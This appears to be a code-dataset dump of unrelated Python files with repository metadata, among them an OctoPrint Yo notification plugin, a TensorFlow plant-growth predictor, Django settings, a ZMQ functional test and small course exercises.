sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((ip, port))
sock.listen(5)
return sock | [
"shao_kai@qq.com"
] | shao_kai@qq.com |
1a1cc183e8a106d2a1e6d43af03309ad1e706ec3 | d31e060d2e47ea84621e7985acaa762cb0b5a9d1 | /0x08-python-more_classes/0-rectangle.py | 82429b5a46296ee88505b92d3832108ae33b7655 | [] | no_license | auraPasmin/holbertonschool-higher_level_programming | 3db265a0c37ce20497a15734619b0eb82d63260d | 62e1786ac6ee0f8045dd4e310cdd4b990c5b1470 | refs/heads/master | 2020-09-28T23:24:56.341216 | 2020-06-05T04:35:04 | 2020-06-05T04:35:04 | 226,890,615 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 129 | py | #!/usr/bin/python3
""" Write an empty class Rectangle that defines a rectangle:"""
class Rectangle:
""" pass """
pass
| [
"1288@holbertonschool.com"
] | 1288@holbertonschool.com |
763e098f46526ffc53d82bdb059e237202c22748 | 61b12f799e6f6caef26875c128b46de9f43f5ea4 | /venv/bin/django-admin | b62fc8e5ef3b3912872744a1e957566c9d68332c | [] | no_license | raymondethan/shoppinglist | fd8cb6f5944afca09a8bbf3b58ee3925c3b72ab5 | 5ace94236e65afc25eacc8c1d87bb3ae0344cb4c | refs/heads/master | 2021-01-10T20:38:58.438157 | 2015-06-06T18:17:04 | 2015-06-06T18:17:04 | 35,457,926 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 306 | #!/Users/jonr/Documents/Ethan/shoppinglist/venv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from django.core.management import execute_from_command_line
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(execute_from_command_line())
| [
"jonr@new-host.home"
] | jonr@new-host.home | |
67145f23dd23fff18a42410689e3e97390749427 | de4d3ba52b0792695813549f9b3401c3c7ff5d12 | /computervision/predictGrowth.py | c59408064bbb2ecc0ed2ae33b44beede050f6e27 | [
"MIT"
] | permissive | OurFourthRodeo/Photo-Synthesis | f7d275d67fec14f40c9ad4ebb766951caacfb51f | 314ebcfbed0adb2d95e927c410242b48e86720bd | refs/heads/main | 2023-01-31T03:16:38.581955 | 2020-12-11T03:27:34 | 2020-12-11T03:27:34 | 305,520,546 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,140 | py | import numpy as np
import logging
from matplotlib import pyplot as plt
import os
import sys
import json
import tensorflow as tf
import cv2
##------------------------------------------------------------------------------------------------
## Global Variables
##------------------------------------------------------------------------------------------------
gDATADIR = os.path.dirname(os.path.realpath(__file__))
gIMAGE = sys.argv[1]
#gMODELFLAG = int(sys.argv[2])
gELECTRODE = os.path.join(gDATADIR, "electrode.model")
gHARVEST = os.path.join(gDATADIR, "harvest.model")
##------------------------------------------------------------------------------------------------
## Supress logging from tensorflow
##------------------------------------------------------------------------------------------------
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # FATAL
logging.getLogger('tensorflow').setLevel(logging.FATAL)
##------------------------------------------------------------------------------------------------
## Predict Growth
## @param image, image taken from system camera
## @param model flag, 0 = electrode prediction, 1 = harvest prediction
## @return classification
##------------------------------------------------------------------------------------------------
def PredictGrowth(image, model_flag):
##------------------------------------------------------------------------------------------------
## Find amount of green
##------------------------------------------------------------------------------------------------
def FindGreen(image):
light_green = (30, 25, 100)
dark_green = (102, 255, 255)
def createGreenMask(image):
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
mask_green = cv2.inRange(hsv, light_green, dark_green)
return mask_green
greenMask = createGreenMask(image)
return np.sum(greenMask==255)
##------------------------------------------------------------------------------------------------
## Prepare image files
##------------------------------------------------------------------------------------------------
def prepare(filepath):
IMG_SIZE = 150
img_array = cv2.imread(filepath, 1)
resized_image = cv2.resize(img_array, (IMG_SIZE, IMG_SIZE))
num_green_pixels = FindGreen(resized_image)
return num_green_pixels
if model_flag == 2:
model = tf.keras.models.load_model(gELECTRODE)
CATEGORIES = ["NOK","ElectrodesOK"]
if model_flag == 1:
model = tf.keras.models.load_model(gHARVEST)
CATEGORIES = ["NOK","HarvestOK"]
prediction = model.predict([int(prepare(image))])
growth_class = CATEGORIES[int(np.argmax(prediction,axis=1))]
return growth_class
prediction1 = PredictGrowth(gIMAGE, 1)
prediction2 = PredictGrowth(gIMAGE, 2)
model_prediction = {'harvest': prediction1, "electrode": prediction2}
final_prediction = json.loads(json.dumps(model_prediction))
print(final_prediction)
| [
"jasona99@outlook.com"
] | jasona99@outlook.com |
cce7342a42c8684ddbf949892ee53711e6b54f11 | 52f26888973c4e5ee23dbac68d3fbd536e616652 | /octoprint_yonotifier/__init__.py | 14b8ee9fc360fc8de52a5e7306081912d80082be | [] | no_license | josephgeis/OctoPrint-YoNotifications | 802c43e22c64ae086b1ba16fe1ccb1d3cdf1131d | c939b38ccdfbf0bfb934ecabe1035233fd355488 | refs/heads/master | 2022-01-10T14:37:26.280231 | 2019-05-27T07:24:22 | 2019-05-27T07:24:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,727 | py | # coding=utf-8
from __future__ import absolute_import
# (Don't forget to remove me)
# This is a basic skeleton for your plugin's __init__.py. You probably want to adjust the class name of your plugin
# as well as the plugin mixins it's subclassing from. This is really just a basic skeleton to get you started,
# defining your plugin as a template plugin, settings and asset plugin. Feel free to add or remove mixins
# as necessary.
#
# Take a look at the documentation on what other plugin mixins are available.
import octoprint.plugin
import requests
class YoNotifierPlugin(octoprint.plugin.SettingsPlugin,
octoprint.plugin.AssetPlugin,
octoprint.plugin.TemplatePlugin,
octoprint.plugin.EventHandlerPlugin):
# ~~ SettingsPlugin mixin
def get_settings_defaults(self):
return dict(
apiKey="",
username="",
events={}
)
def get_settings_version(self):
return 1
def on_settings_migrate(self, target, current):
stock_settings = dict(
apiKey="",
username="",
events={
'Startup': {'enabled': False, 'message': 'OctoPrint is now live.'},
'Shutdown': {'enabled': False, 'message': 'OctoPrint is going down.'},
'ClientOpened': {'enabled': False, 'message': 'Someone connected from {remoteAddress}.'},
'ClientClosed': {'enabled': False, 'message': 'Someone disconnected from {remoteAddress}.'},
'Connecting': {'enabled': False, 'message': 'Attempting to connect to your printer.'},
'Connected': {'enabled': False, 'message': 'Successfully connected printer on {port}.'},
'Disconnected': {'enabled': False, 'message': 'Printer disconnected.'},
'Error': {'enabled': False, 'message': 'Error: {error}'},
'PrintStarted': {'enabled': False, 'message': 'Started printing {name}.'},
'PrintFailed': {'enabled': False, 'message': 'Print {name} not finished because of {reason}.'},
'PrintDone': {'enabled': False, 'message': 'Finished printing {name}.'},
'PrintCancelling': {'enabled': False, 'message': 'Stopping print {name}.'},
'PrintCancelled': {'enabled': False, 'message': 'Stopped print {name}.'},
'PrintPaused': {'enabled': False, 'message': 'Paused print {name}.'},
'PrintResumed': {'enabled': False, 'message': 'Resumed print {name}.'},
'CaptureFailed': {'enabled': False, 'message': 'A frame was skipped because {error}.'},
'MovieRendering': {'enabled': False, 'message': 'Rendering timelapse for {gcode}.'},
'MovieDone': {'enabled': False, 'message': 'Finished rendering {movie_basename}.'},
'MovieFailed': {'enabled': False, 'message': "Couldn't render {movie_basename} because ffmpeg exited on {returncode}."},
'SlicingStarted': {'enabled': False, 'message': 'Slicing {stl}.'},
'SlicingDone': {'enabled': False, 'message': 'Finished slicing {stl}.'},
'SlicingCancelled': {'enabled': False, 'message': 'Stopped slicing {stl}.'},
'SlicingFailed': {'enabled': False, 'message': "Couldn't slice {stl} because {reason}."}
}
)
if current == None:
self._settings.set([], None, force=True)
self._settings.set([], stock_settings, force=True)
self._settings.save(force=True)
# ~~ AssetPlugin mixin
def get_assets(self):
# Define your plugin's asset files to automatically include in the
# core UI here.
return dict(
js=["js/yonotifier.js"]
)
# ~ TemplatePlugin mizin
def get_template_configs(self):
return [
dict(type="settings", custom_bindings=False)
]
def get_template_vars(self):
events = self._settings.get(["events"])
return { "events": events }
# ~~ Softwareupdate hook
def get_update_information(self):
# Define the configuration for your plugin to use with the Software Update
# Plugin here. See https://github.com/foosel/OctoPrint/wiki/Plugin:-Software-Update
# for details.
return dict(
yonotifier=dict(
displayName="Yo Notifications",
displayVersion=self._plugin_version,
# version check: github repository
type="github_release",
user="juniorrubyist",
repo="OctoPrint-YoNotifications",
current=self._plugin_version,
# update method: pip
pip="https://github.com/juniorrubyist/OctoPrint-YoNotifications/archive/{target_version}.zip"
)
)
# ~ EventHandler Plugin
def on_event(self, event, payload):
self._logger.info("Event")
events = self._settings.get(["events"])
messages = self._settings.get(["messages"])
if events.get(event):
self._logger.info("event in keys")
if events[event].get("enabled"):
self._logger.info("event enabled")
self.send_yo(events[event]["message"].format(**payload))
# ~ Send Yo Message
def send_yo(self, text):
self._logger.info("Sending Yo: {text}".format(text=text))
api_token = self._settings.get(["apiKey"])
username = self._settings.get(["username"])
self._logger.info({'api_token': api_token, 'username': username, 'text': text})
r = requests.post("https://api.justyo.co/yo/",
data={'api_token': api_token, 'username': username, 'text': text})
self._logger.info(r.content)
# ~ Event Handlers
def print_done(self, event, data):
please = self._settings.get(["sendPrintDone"])
if not please:
return
name = data['name']
self.send_yo("Finished printing { name }".format(name=name))
# If you want your plugin to be registered within OctoPrint under a different name than what you defined in setup.py
# ("OctoPrint-PluginSkeleton"), you may define that here. Same goes for the other metadata derived from setup.py that
# can be overwritten via __plugin_xyz__ control properties. See the documentation for that.
def __plugin_load__():
global __plugin_implementation__
__plugin_implementation__ = YoNotifierPlugin()
global __plugin_hooks__
__plugin_hooks__ = {
"octoprint.plugin.softwareupdate.check_config": __plugin_implementation__.get_update_information
}
| [
"juniorrubyist@gmail.com"
] | juniorrubyist@gmail.com |
205d1f4dc6e69a3c928c5cb54ea44d579e471935 | b5096738be18bf771365185b7d341a687090924b | /ics/lesson4/problem_set_optional/converting_second.py | 73115dc588917559282692d5a021b1a4800c926f | [] | no_license | shgtkshruch/udacity | 7809dc8852d7657207062503e2159d40897357d6 | 5cf1ff017fe08294018945976d54a193ccc129b4 | refs/heads/master | 2020-05-03T23:35:51.986344 | 2014-07-02T00:58:27 | 2014-07-02T00:58:27 | 19,366,551 | 7 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,319 | py | # Write a procedure, convert_seconds, which takes as input a non-negative
# number of seconds and returns a string of the form
# '<integer> hours, <integer> minutes, <number> seconds' but
# where if <integer> is 1 for the number of hours or minutes,
# then it should be hour/minute. Further, <number> may be an integer
# or decimal, and if it is 1, then it should be followed by second.
# You might need to use int() to turn a decimal into a float depending
# on how you code this. int(3.0) gives 3
#
# Note that English uses the plural when talking about 0 items, so
# it should be "0 minutes".
#
def str_time(num, unit):
if num < 1:
return '0 ' + unit + 's, '
elif num == 1:
return str(num) + ' ' + unit + ', '
elif num > 1:
return str(num) + ' ' + unit + 's, '
def convert_seconds(seconds):
hour = int(seconds) / 60 / 60
minute = int(seconds) / 60 - hour * 60
second = seconds - hour * 60 ** 2 - minute * 60
return str_time(hour, 'hour') + str_time(minute, 'minute') + str_time(second, 'second')
print convert_seconds(3661)
#>>> 1 hour, 1 minute, 1 second
print convert_seconds(7325)
#>>> 2 hours, 2 minutes, 5 seconds
print convert_seconds(7261.7)
#>>> 2 hours, 1 minute, 1.7 seconds
print convert_seconds(0)
#>>> 0 minutes
print convert_seconds(3600)
| [
"shgtk.shruch@gmail.com"
] | shgtk.shruch@gmail.com |
c56444664cf3333a301f0884510b0044d4904ce6 | d612a06eec26d98d8dc6666202b8e6745d4d0e8d | /cmatrixtester/indexcreator.py | 3cefd9eb10a670fdd2d8297c6726ffc72d333817 | [] | no_license | usman64/Document_Classification | f666d3c25040fd0711b296b1d5d64a33a6b818fb | 1873bf7a5d43073d534770087a9ac7a48b402a72 | refs/heads/master | 2022-03-06T23:34:53.904598 | 2019-08-04T15:56:11 | 2019-08-04T15:56:11 | 195,414,932 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,438 | py | # make an in index of all the templates/images along with their paths and their respective classification (true)
# path filename class
import os
import shutil
import time
count = 0
start_time = time.time()
parentPath = 'wkdir' #change this to desired folder path
print('1 for template index creation') #can change this (hardcode)
print('2 for image index creation') # can change this (hardcode)
mode = input()
if(mode == '1'):
fname = 'template.txt' #change this to desired file name
txtfile = open(fname,'w')
for root, dirs, files in os.walk(parentPath):
for file in files:
if 'Template' in file: #change if you are following a different naming convention
print('templateaae')
path_file = os.path.join(root,file)
count=count + 1
content = str(path_file+'\t'+file+'\t'+path_file.split(os.sep)[-2]+'\n')
print(content)
txtfile.write(content)
elif (mode == '2'):
fname = 'index.txt' #change this to desired file name
txtfile = open(fname,'w')
for root, dirs, files in os.walk(parentPath):
for file in files:
if 'Template' not in file: #change if you are following a different naming convention
print('templateaae')
path_file = os.path.join(root,file)
count=count + 1
content = str(path_file+'\t'+file+'\t'+path_file.split(os.sep)[-2]+'\n')
print(content)
txtfile.write(content)
print("--- %s seconds ---" % (time.time() - start_time))
print('count: ', count)
| [
"noreply@github.com"
] | noreply@github.com |
7f802e323fd498a28e7d5eabd0de2d8e12535b04 | 0d11209671cdefa7791a9775f16820f57b603ce8 | /store/views/contact.py | ebafc1723297e16ae96b6fe2a1cc5f5955538a7f | [] | no_license | RektInator/webstore-python | d4e02d0e790e07201c14b946185a9c3a82ce1e61 | c366e6a19ca96438da0c4c3db73a77854ef0c6b5 | refs/heads/master | 2021-03-27T18:20:35.303448 | 2018-01-17T13:53:24 | 2018-01-17T13:53:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 273 | py | from django.http import HttpResponse
from django.shortcuts import render
from django.template import loader
from django.template.context import RequestContext
from . import renderer
def contact(request):
return renderer.RenderWithContext(request, 'store/contact.html') | [
"0929380@hr.nl"
] | 0929380@hr.nl |
77d2e492ca8fc9fa2ef3a42bf16a2aef6dbe8259 | bb96f517535a25f2f2617c6f711cc4f0933692a1 | /pickle_tester/pickler.py | a8cd9eb2eba9ea8290eb136521c12c36dbd6dd08 | [] | no_license | davpayne/Thinkful | 746de19dcdd2d5e13a35fbc62add38d3cfd1779f | f03707bf6b50d5743f750b2b2198975401389c84 | refs/heads/master | 2020-03-29T15:46:25.955508 | 2014-03-09T19:57:16 | 2014-03-09T19:57:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 221 | py | import sys
import pickle
def list_pickler(a_list, path):
fil = open(path, 'wb')
pickle.dump(a_list, fil)
fil.close()
def unpickler(path):
fil = open(path, 'rb')
b_list = pickle.load(fil)
fil.close()
return b_list | [
"dpayne162@gmail.com"
] | dpayne162@gmail.com |
bbc92ccd5d682422acb5a8364021fb0f1838bea1 | 3ec32f5aba8624125918adad5cfbc174d698526d | /test/functional/zmq_test.py | 3a7b77bc01b67f696e4585ac2662d14f1115b421 | [
"MIT"
] | permissive | aixinwang/atc | b51b85bd91956657d70b72ca128d30132754269e | 9f0b53af19735ce0d6a5a6feed6733a51f109019 | refs/heads/master | 2021-04-03T06:48:24.497048 | 2018-03-14T04:53:58 | 2018-03-14T04:59:04 | 125,152,414 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,297 | py | #!/usr/bin/env python3
# Copyright (c) 2015-2016 The Ai the coins developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test the ZMQ API."""
import configparser
import os
import struct
from test_framework.test_framework import BitcoinTestFramework, SkipTest
from test_framework.util import (assert_equal,
bytes_to_hex_str,
)
class ZMQTest (BitcoinTestFramework):
def __init__(self):
super().__init__()
self.num_nodes = 2
def setup_nodes(self):
# Try to import python3-zmq. Skip this test if the import fails.
try:
import zmq
except ImportError:
raise SkipTest("python3-zmq module not available.")
# Check that bitcoin has been built with ZMQ enabled
config = configparser.ConfigParser()
if not self.options.configfile:
self.options.configfile = os.path.dirname(__file__) + "/../config.ini"
config.read_file(open(self.options.configfile))
if not config["components"].getboolean("ENABLE_ZMQ"):
raise SkipTest("bitcoind has not been built with zmq enabled.")
self.zmqContext = zmq.Context()
self.zmqSubSocket = self.zmqContext.socket(zmq.SUB)
self.zmqSubSocket.set(zmq.RCVTIMEO, 60000)
self.zmqSubSocket.setsockopt(zmq.SUBSCRIBE, b"hashblock")
self.zmqSubSocket.setsockopt(zmq.SUBSCRIBE, b"hashtx")
ip_address = "tcp://127.0.0.1:28332"
self.zmqSubSocket.connect(ip_address)
extra_args = [['-zmqpubhashtx=%s' % ip_address, '-zmqpubhashblock=%s' % ip_address], []]
self.nodes = self.start_nodes(self.num_nodes, self.options.tmpdir, extra_args)
def run_test(self):
try:
self._zmq_test()
finally:
# Destroy the zmq context
self.log.debug("Destroying zmq context")
self.zmqContext.destroy(linger=None)
def _zmq_test(self):
genhashes = self.nodes[0].generate(1)
self.sync_all()
self.log.info("Wait for tx")
msg = self.zmqSubSocket.recv_multipart()
topic = msg[0]
assert_equal(topic, b"hashtx")
body = msg[1]
msgSequence = struct.unpack('<I', msg[-1])[-1]
assert_equal(msgSequence, 0) # must be sequence 0 on hashtx
self.log.info("Wait for block")
msg = self.zmqSubSocket.recv_multipart()
topic = msg[0]
body = msg[1]
msgSequence = struct.unpack('<I', msg[-1])[-1]
assert_equal(msgSequence, 0) # must be sequence 0 on hashblock
blkhash = bytes_to_hex_str(body)
assert_equal(genhashes[0], blkhash) # blockhash from generate must be equal to the hash received over zmq
self.log.info("Generate 10 blocks (and 10 coinbase txes)")
n = 10
genhashes = self.nodes[1].generate(n)
self.sync_all()
zmqHashes = []
blockcount = 0
for x in range(n * 2):
msg = self.zmqSubSocket.recv_multipart()
topic = msg[0]
body = msg[1]
if topic == b"hashblock":
zmqHashes.append(bytes_to_hex_str(body))
msgSequence = struct.unpack('<I', msg[-1])[-1]
assert_equal(msgSequence, blockcount + 1)
blockcount += 1
for x in range(n):
assert_equal(genhashes[x], zmqHashes[x]) # blockhash from generate must be equal to the hash received over zmq
self.log.info("Wait for tx from second node")
# test tx from a second node
hashRPC = self.nodes[1].sendtoaddress(self.nodes[0].getnewaddress(), 1.0)
self.sync_all()
# now we should receive a zmq msg because the tx was broadcast
msg = self.zmqSubSocket.recv_multipart()
topic = msg[0]
body = msg[1]
assert_equal(topic, b"hashtx")
hashZMQ = bytes_to_hex_str(body)
msgSequence = struct.unpack('<I', msg[-1])[-1]
assert_equal(msgSequence, blockcount + 1)
assert_equal(hashRPC, hashZMQ) # txid from sendtoaddress must be equal to the hash received over zmq
if __name__ == '__main__':
ZMQTest().main()
| [
"your_email@youremail.com"
] | your_email@youremail.com |
420507f01bf945d4e26787b3a4f118ddd1f40cb2 | 776d7a10616aac4913e02c8999bb7e10c4748c8c | /tests/conftest.py | 2a741bb3be832cba82d55abf91241b201f310e02 | [
"Apache-2.0"
] | permissive | acv-auctions/manifold | 57277506a5d8c517196d40b7f3c345c8d3732507 | b798b0dd6c2f96395d47f700fd2ed0451b80331b | refs/heads/master | 2021-03-27T12:55:42.015027 | 2019-01-15T20:12:16 | 2019-01-15T20:12:16 | 123,957,712 | 2 | 0 | Apache-2.0 | 2019-01-15T18:37:51 | 2018-03-05T17:59:51 | Python | UTF-8 | Python | false | false | 827 | py | """
Copyright 2018 ACV Auctions
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import django
from django.conf import settings
from tests import settings as test_settings
def pytest_configure(config): # pylint: disable=W0613
# Set DJANGO_SETTINGS_MODULE for tests
settings.configure(default_settings=test_settings)
django.setup()
| [
"starner.daniel5@gmail.com"
] | starner.daniel5@gmail.com |
1755ca056d41648fe5b3aac113eda6a31d225032 | 49457014fcb1295afe446e1f492bfd93d6a2c02b | /django_project/settings.py | e01246cf8dba1b1ee11f1978cfd5c24bfed9f293 | [] | no_license | jatinkumar0/Project-1 | a4a5654a8a5f2951c3d33db8f6dde9bcf687acc8 | fce17d3b1578533457642723492bd2baf1fe1883 | refs/heads/main | 2023-06-07T01:40:08.926537 | 2021-07-08T09:59:58 | 2021-07-08T09:59:58 | 326,420,913 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,095 | py | """
Django settings for djp project.
Generated by 'django-admin startproject' using Django 3.1.6.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
from pathlib import Path
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'f9d*hxml7+qum!2&zo9i5mxkzv1a2kuzq+=pi#pyq!pui9gw)f'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
#ALLOWED_HOSTS = ['65.0.7.56']
ALLOWED_HOSTS = ['65.0.7.56']
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'djp.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'djp.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.1/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}
}
# Password validation
# https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.1/howto/static-files/
STATIC_URL = '/static/'
| [
"ec2-user@ip-172-31-0-46.ap-south-1.compute.internal"
] | ec2-user@ip-172-31-0-46.ap-south-1.compute.internal |
458dfdce4a2733781ab1f8fdbde70e547d6feec7 | 15da37c85e9e7b7ff5c88aa9debf9cf604e6d1bf | /data-science/bin/jupyter-kernel | 902ee1dcaa588d6310a62932cec80298609c6651 | [
"Apache-2.0"
] | permissive | alejandrozorita/Python-Big-data | cb45d6e041cfde6eff694454cad104965fe12f0d | 8d9f777caec8a77ee0ad7c8f23e68d13cc77221a | refs/heads/master | 2020-03-07T15:00:49.576110 | 2018-04-08T17:06:48 | 2018-04-08T17:06:48 | 127,542,352 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 286 | #!/Applications/MAMP/htdocs/Python/Python-Big-data/data-science/bin/python3.6
# -*- coding: utf-8 -*-
import re
import sys
from jupyter_client.kernelapp import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"alejandro.zorita@medssocial.com"
] | alejandro.zorita@medssocial.com | |
0d9d84e3b4df268835c47267e9345d14af8f3da3 | a6912b5120608203d245024b2a8d3a0b1766595f | /students/KyleCreek/lesson06/assignment/src/good_perf.py | ee0fe8ec9724366c514e90e9bba07e7d2e087f23 | [] | no_license | KyleCreek/Python220A_2019 | a66a3eb14332e60fd73da00b3691d33630245885 | b61e0fb05576b3e3dd7fcc0c73885d6b7d5d2593 | refs/heads/master | 2020-05-04T19:42:17.155894 | 2019-06-10T01:14:30 | 2019-06-10T01:14:30 | 179,404,089 | 0 | 0 | null | 2019-04-04T02:09:49 | 2019-04-04T02:09:49 | null | UTF-8 | Python | false | false | 2,323 | py | """
#----------------------------- #
# Title: good_perf.py
# Desc: Revisions to poor_perf.py
# Change Log: (Who, When, What)
KCreek, 5/14/2018, Finalized Script
# ----------------------------- #
"""
import csv
import datetime
import logging
# Set Up Logger
logging.basicConfig(level=logging.DEBUG)
def analyze(filename):
"""
Function analyzes .csv File with 1 million records
:param filename: String of File Name
:return: Tuple Containing Various Data
"""
# Establish Analysis Timer
start = datetime.datetime.now()
# With Loop to Process csv File
with open(filename) as csvfile:
reader = csv.reader(csvfile, delimiter=',', quotechar='"')
# Establish list to store data and counter for
# number of times "AO" is found
new_ones = []
found = 0
# Interrogate each row in the csv object
for row in reader:
lrow = list(row)
if lrow[5] > '00/00/2012':
new_ones.append((lrow[5], lrow[0]))
if "ao" in lrow[6]:
found += 1
print(f"'ao' was found {found} times")
# Establish dictionary to contain the years counted
year_count = {
"2013": 0,
"2014": 0,
"2015": 0,
"2016": 0,
"2017": 0,
"2018": 0
}
# 'for' loop interrogates data and adds to dictionary
# when instances are found
for new in new_ones:
if new[0][6:] == '2013':
year_count["2013"] += 1
if new[0][6:] == '2014':
year_count["2014"] += 1
if new[0][6:] == '2015':
year_count["2015"] += 1
if new[0][6:] == '2016':
year_count["2016"] += 1
if new[0][6:] == '2017':
year_count["2017"] += 1
if new[0][6:] == '2018':
year_count["2017"] += 1
print(year_count)
end = datetime.datetime.now()
full_delta = end - start
logging.info("Total Time: {}".format(full_delta))
return start, end, year_count, found
def main():
"""
Runs the main loop function of "good_perf.py"
:return: None
"""
filename = "exercise.csv"
analyze(filename)
if __name__ == "__main__":
main()
| [
"Kyle.A.Creek@gmail.com"
] | Kyle.A.Creek@gmail.com |
b7175444a24d6feb9f6c5f2e06b70705b249d4a6 | babe794f1efd974e7f2a289b644891ad9f572bee | /hechuang/order/admin.py | 288b2f8a6475164dfb0b6e99367e7f46e837d620 | [
"MIT"
] | permissive | VirtualBookStore/hechuang_backend | 6137fc9e3e4e5092a910c07a7737135c1465bf07 | 421bdeca90eb174b117e8bd8ac0f4cb002461dcd | refs/heads/master | 2023-06-07T04:17:33.342808 | 2021-06-28T07:28:26 | 2021-06-28T07:28:26 | 325,348,792 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 135 | py | from django.contrib import admin
from order.models import Order
@admin.register(Order)
class OrderAdmin(admin.ModelAdmin):
pass
| [
"rand1925@outlook.com"
] | rand1925@outlook.com |
11a2702023957a734b9bdaa5b56342d72e3e0d9b | 01fff6a4d726582262f6c4334894515ce9aee382 | /Test/Measurements/GHZ.py | 145acf852f186381ccff3d2c9f8f50d446f68537 | [] | no_license | FredericSauv/QuantumSimulation | e10160550dd0b501c523031e74cfc427bcb53c23 | 0be68edfa33fb570d52e31be1d0b277a611b9ba4 | refs/heads/master | 2021-06-07T08:38:02.867027 | 2020-10-16T10:17:11 | 2020-10-16T10:17:11 | 130,664,275 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,460 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Aug 6 20:42:34 2019
@author: fred
"""
import qutip as qt
import numpy as np
import matplotlib.pyplot as plt
from functools import reduce
import utilities as ut
############ Init, utility
zero = qt.qubits.qubit_states(1,[0])
one = qt.qubits.qubit_states(1,[1])
I, X, Y, Z = qt.identity([2]), qt.sigmax(), qt.sigmay(), qt.sigmaz()
Rx, Ry, Rz = qt.rx, qt.ry, qt.rz
############# Measurement of a ghz state
ghz1 = 1/np.sqrt(2)*(qt.qubits.tensor(zero,zero,zero) + qt.qubits.tensor(one,one,one))
ghz2 = 1/np.sqrt(2)*(qt.qubits.tensor(zero,zero,zero) - qt.qubits.tensor(one,one,one))
op1 = [qt.tensor(I,Z,Z), qt.tensor(X,X,X), qt.tensor(X,Y,Y), qt.tensor(Y,X,Y), qt.tensor(Y,Y,X), qt.tensor(Z,I,Z),qt.tensor(Z,Z,I)]
exp_ghz1 = [o.matrix_element(ghz1, ghz1) for o in op1]
exp_ghz2 = [o.matrix_element(ghz2, ghz2) for o in op1]
def get(x):
""" parametrized (6 parameters) circuitry which can create a c. GHZ
state i.e. |000> - |111>"""
g1 = qt.tensor(qt.rx(x[0]), qt.rx(x[1]), qt.ry(x[2]))
g2 = qt.cnot(3, 1,2)
g3 = qt.cnot(3, 0,2)
g4 = qt.tensor(qt.rx(x[3]), qt.rx(x[4]), qt.rx(x[5]))
return g4 * g3 * g2 * g1 * qt.tensor(zero, zero, zero)
x_tgt = np.array([[1.,1.,2.,1.,1.,1.],[1., 3., 2., 3., 1., 3.], [3., 1., 2., 1., 3., 3.], [3., 3., 4., 1., 1., 3.],
[3., 1., 4., 3., 1., 1.], [1., 1., 4., 3., 3., 3.],[1., 3., 4., 1., 3., 1.],
[1., 1., 0., 3., 3., 3.],[1., 1., 2., 1., 1., 1.],[3., 3., 2., 3., 3., 1.],
[1., 3., 0., 1., 3., 1.],[3., 1., 0., 3., 1., 1.],[3., 3., 0., 1., 1., 3.]])
